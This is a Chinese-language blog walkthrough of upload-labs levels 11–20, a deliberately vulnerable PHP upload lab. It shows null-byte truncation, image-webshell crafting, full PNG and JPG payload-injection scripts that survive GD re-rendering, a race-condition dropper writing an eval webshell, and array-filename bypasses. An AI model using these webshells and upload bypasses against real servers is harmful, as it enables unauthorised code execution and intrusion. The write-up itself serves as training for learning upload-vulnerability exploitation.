upload-labs(11-20)

兵无常势,水无常形,能因敌而致胜者,谓之神

00 截断

前言

Pass 11 -12 利用的是 00 截断。即 move_uploaded_file 函数的底层实现类似于 C 语言,遇到 0x00 会截断。

截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

1. Pass 11

① 源码分析

白名单限制,直接把后缀名写死
在前端 form 表单提交的时候顺便定义且提交了 save_path 参数
在后端文件存储路径(img_path)的处理上却直接使用参数进行拼接,参数由 GET 方法传入且没有对参数的合法性做一个合格的检验,导致服务器最终存储的文件路径和文件名都用户可控。

在这里插入图片描述

② 漏洞利用

在 url 中 %00 表示 ascii 码中的 0,而 ascii 中 0 作为特殊字符保留,表示字符串结束,所以当 url 中出现 %00 时就会认为读取已结束,所以后面文件重命名部分将不会被读取。
在这里插入图片描述
在这里插入图片描述

2. Pass 12

① 源码分析

后缀名白名单检验
form 表单 post 方式提交 save_path 参数
同样存在 00 截断漏洞

在这里插入图片描述

② 漏洞利用

GET 方式提交的参数在 URL 中,%00 能够经过 URL 解码,而 POST 提交的参数不在 URL 中,所以不能直接用 %00。下面有两种姿势使用 00 截断 。

  1. 在十六进制中修改
    先在在 save_path 处添加 zhutou.php+ ,然后进入 hex,找到 zhutou.php+ 中 + 对应的那一行,将 2b( ==+==对应的十六进制为 2b)修改为 00
    在这里插入图片描述
    在这里插入图片描述
  2. 直接将 %00 进行 URL 解码后添加
    将数据包 send to repeater ,然后在 save_path 参数处添加 zhutou.php%00,选中 %00,右键进行 URL 编码,点击 GO ,在 response 可以看到文件上传成功,在 upload 文件夹也可以看到上传的文件。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

图片马上传

upload-labs 有自带的文件包含漏洞测试代码。
在这里插入图片描述

1. Pass 13

① 源码分析

$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
源码中通过将文件以二进制的形式打开,然后通过对其头两个字节去判断文件的类型

在这里插入图片描述

② 漏洞利用

这里不能像前面一般直接修改后缀名,下面有两种方式制作图片马进行绕过。

  1. 使用以下命令将 一句话木马追加到图片的后面。
copy xx.jpg /b + xxx.php /a xxxx.jpg
copy xx.png /b + xxx.php /a xxxx.png
copy xx.gif /b + xxx.php /a xxxx.gif

在这里插入图片描述
在这里插入图片描述
接着在文件上传处上传,然后使用 upload-labs 自带的文件包含漏洞(include.php)如果能对文件解析成功则上传图片马成功。

ps:这里使用 jpg 是可以解析成功的,不过 png 和 gif 不能解析成功(有报错),应该是一开始素材的选取有问题,可能有的可以,有的不行。

  1. 这里主要第二种方法,用记事本直接打开图片,将图片的第一行(肯定超过两个字节)保留,其余的删除,换成一句话木马即可。在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    使用中国菜刀连接也可。
    在这里插入图片描述
    在这里插入图片描述

2. Pass 14

① 源码分析

使用 getimagesize() 函数获取图片信息
$info[2] 返回图片的类型
这个函数功能会对目标文件的16进制去进行读取头几个字符从而判断文件类型

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);

在这里插入图片描述

② 漏洞利用

还是用图片马上传,图片马的制作可参考 Pass 13 第二种做法。

3. Pass 15

① 源码分析

前提:Phpstudy 开启 exif 模块
使用 exif_imagetype() 函数对文件类型的读取
exif_imagetype() 读取一个图像的第一个字节并检查其签名。 

在这里插入图片描述

② 漏洞利用

仍然使用图片马上传,图片马制作的方式可借鉴 Pass 13

4. Pass 16

① 源码分析

获取上传文件信息
之后使用 if 语句判断了文件后缀和类型
使用 move_uploaded_file() 函数将文件上传服务器
利用 imagecreatefromjpeg() 函数创建新图片,如果不能创建,则使用 unlink() 删除上传的文件并返回错误
如果能创建则使用 imagejpeg() 将文件重命名并显示在浏览器,最后 unlink() 函数删除原先的文件

下面是处理 jpg 文件的代码,png 和 gif 的类似。

// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename); //basename() 函数返回路径中的文件名部分。

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){  //将文件上传服务器
            //使用上传的图片生成新的图片
            //创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path); //删除文件
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path); //保留副本,imagejpeg -- 以 JPEG 格式将图像输出到浏览器或文件
                @unlink($target_path); //删除原本
                $is_upload = true; 
            }
        } else {
            $msg = "上传出错!";
        }

在这里插入图片描述

② 漏洞利用

还是图片马的上传,不过由于此处做了二次渲染,所以不能使用之前的姿势绕过。

GIF 绕过

  1. 上传一个正常的 GIF 图片,使用 winhex 查看发现重建的图片和原来的图片在前面有部分相同,也就是说在图片重建的时候有部分数据流没改动。
    在这里插入图片描述
  2. 在没改动的地方插入一句话。
    在这里插入图片描述
  3. 上传成功。
    在这里插入图片描述
  4. 解析成功。
    在这里插入图片描述

PNG 绕过

png 绕过得借助脚本生成 png 文件进行绕过。
额外的知识补充可看下面的两个链接。

https://baynk.blog.csdn.net/article/details/102908114。
https://blog.csdn.net/u014029795/article/details/102894736

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
           
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./zhutou.png');
?>
  1. 直接在 phpstudy 的 php 环境中运行该脚本(script_png.php)即可在 php 环境目录下生成 zhutou.jpg 。
php.exe script_png.php

在这里插入图片描述

  1. 上传成功。
    在这里插入图片描述
  2. 不能直接解析。
    在这里插入图片描述
  3. 且看一句话分析。
<?=$_GET[0]($_POST[1]);?>,首先 ?=$_GET[0] 指的是让你以 0 为参数进行传参,其次 $_POST[1] 指的是用 1 来接收提交上来的参数。

在这里插入图片描述

  1. 更牛逼的是,菜刀连接!!!

地址:http://10.10.16.131/include.php?file=./upload/19837.png&0=assert
密码:1

在这里插入图片描述

JPG 绕过

还是使用脚本生成 jpg 绕过。
代码的开头可构造一句话木马

$miniPayload = "<?=phpinfo();?>";
<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>"; //这里是一句话木马


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('zhutou_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('zhutou_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用流程:

  1. 先将一张正常的 jpg 图片上传,上传后将服务器存储的二次渲染的图片保存下来 449.jpg 。
  2. 将保存下来的经过服务器二次渲染的那张 jpg 图片,用上面的脚本进行处理生成
  3. 然后再上传 zhutou.jpg

生成图片马 zhutou_449.jpg 。
在这里插入图片描述
上传成功。
在这里插入图片描述
解析失败,原因是此方法还是有 bug ,不能适用所有 jpg 图片,所以要多试几张 jpg ,应该能行。(其他人可以,我也可以,不过就是懒)
在这里插入图片描述

条件竞争

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

1. Pass 17

① 源码分析

有后缀名白名单限制
将文件先上传至服务器接着再判断文件类型
如果符合就重命名,不符合就删除

在这里插入图片描述

② 漏洞利用

源代码在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制。
由于文件上传服务器后到判断不符合执行 unlink() 函数对上传的文件删除需要有一个时间差,利用这个时间差,这里有以下的两种方法:

1. burp’s intruder

利用 burpsuite 的 intruder 模块,一个将上传脚本的数据包不断地重放,另一个同时不断地访问上传的脚本。

  1. 不用在数据包中标记,直接重放一句话即可。
    在这里插入图片描述
  2. Payloads 是 Null payloads ,数目是 1000 ,线程 10。
    在这里插入图片描述
    在这里插入图片描述
  3. 访问上传的脚本,同样不用标记,不用 payload,数目1000,线程10。
    在这里插入图片描述
  4. 同时进行重放,可以看到在访问的重放中有几个数据包是可以解析到脚本的。
    其实,在重放过程中,可以注意到在 upload 文件夹中 脚本 不断地出现和被删除。
    在这里插入图片描述

2. 用脚本访问

以下是一个小脚本,当访问成功时(状态码:200)就返回 “OK”

import requests
url = "http://192.168.43.7/upload-labs/upload/zhutou.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")

一句话木马:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>

当触发上传的 zhutou.php 脚本时,就会生成 shell.php ,当然得能赶在 zhutou.php 被 unlink() 函数删除之前,所以在 python 脚本中才需要不断地访问 zhutou.php ,而下面 zhutou.php 上传数据包重放的 payload 和线程也要足够大,目的就是为了能够文件在被上传之后能够有足够的时间被 python 脚本访问,从而生成 shell.php 木马,然后才被删除,虽然这段时间及其短,但是计算机处理数据的速度够快。
在这里插入图片描述
在上面 start attack 之后,紧接着运行 python 脚本,进行 http://192.168.43.7/upload-labs/upload/zhutou.php 的访问,可以看见生成了 shell.php 木马。
在这里插入图片描述
用菜刀连接。
在这里插入图片描述

2. Pass 18

① 源码分析

本关对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功~

② 漏洞利用

结合图片马和 apache 的解析漏洞(不过这不是重点考察目标)
上传 test.php.7z + 使用 intruder 模块一直重放,然后就会出现有些文件来不及重命名而被保留在服务器中。
主要是要在白名单中找到 apache 解析不了的后缀名才有效,其他人说 .7z apache 解析不了,但是我运行之后却弹出一个下载页面,不知所措。。。

Pass 19

① 源码分析

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

在这里插入图片描述

② 漏洞利用

绕过方法有三种:

直接在后缀名后面加上/.
利用 apache 的解析漏洞,如给文件命名为 test.php.zhutou
使用 00 截断(00截断又有两种方式)
  1. /. 绕过
    在这里插入图片描述
    在这里插入图片描述
  2. apache 解析漏洞
    在这里插入图片描述
    在这里插入图片描述
  3. 00 截断
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

Pass 20

① 源码分析

in_array()
ps:在数组中搜索给定的值。
in_array(value,array,type)

参数 描述
value 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

exploy()
ps:把字符串打散为数组。

参数 描述
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目。

其他的一些函数

函数 作用
end() 函数将内部指针指向数组中的最后一个元素,并输出。
reset() 将内部指针指向数组中的第一个元素,并输出。
白名单限制
对文件上传的文件类型做了判断
将用户输入的文件名赋值给 $file
is_array($file) 判断文件名是不是数组,如果不是,使用 explode(). 为标记分割为数组。
如果是数组,则定义后缀名白名单 $allow_suffix 对数组最后一个元素 $ext(正常情况是指后缀名)进行过滤。
如果符合则取数组的第一个元素reset($file)作为文件名,倒数第二个元素$file[count($file)-1]作为后缀名

在这里插入图片描述

② 漏洞利用

上传一张符合白名单规则(后缀名为:.jpg/.gif/.png)的图片,里面包含一句话木马,然后给用书上传的文件名 save_name 构造数组,save_name[0]=zhutou.php 作为函数名,save_name[1]为空,save_name[2]=jpg,作为后缀名被白名单检测,所以最后构造的文件名为 zhutou.php.(空格) ,当然,由于将文件上传至服务器的是 move_uploaded_file() 函数所以也可以使用 /. 绕过。
在这里插入图片描述
在这里插入图片描述

                                                                                                                               猪头
                                                                                                                            2020.2.17
发布了26 篇原创文章 · 获赞 3 · 访问量 1206

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104329322